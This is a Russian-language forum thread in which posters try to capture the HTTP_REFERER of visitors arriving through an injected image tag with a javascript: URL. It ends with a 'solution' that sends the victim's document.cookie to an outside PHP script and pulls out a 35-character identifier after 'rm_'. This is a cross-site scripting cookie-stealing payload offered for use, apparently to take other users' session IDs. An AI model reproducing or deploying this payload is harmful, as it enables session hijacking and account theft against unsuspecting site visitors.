![]() |
Http_referer
Как стянуть HTTP_REFERER при переходе со страницы
Например <image src=javascript:window.location.href="http://www.adres.ru/l.php"> l.php : <? echo $HTTP_REFERER; ?> Ничего не выводиться ...., почему ??? |
попробуй так:
<? global $HTTP_REFERER; echo $HTTP_REFERER; ?> Иногда переменные окружения надо заранее объявлять как глобальные |
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается. В данном случае нужно использваоть например такой тег: <image src="http://www.adres.ru/l.php"> |
Цитата:
|
Дело в том, что сначало надо стянуть referer, а потом использовать его для перехода:
Код HTML:
<image src=javascript:window.location.href="http://www.adres.ru/l.php">Код HTML:
<image src="http://www.adres.ru/l.php">Код HTML:
]<image src="http://www.adres.ru/referer.php"> |
Если честно, то ничего не понял из последнего постинга ))
|
Цитата:
|
Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ? |
Цитата:
|
Точно! решение найдено
<image src=javascript
:window.location.href="http://adress.ru/test.php?"+document.cookie;> <? $nomer=strpos("$QUERY_STRING","rm_")+3; $id=substr("$QUERY_STRING","$nomer",35); ?> |
| Время: 21:16 |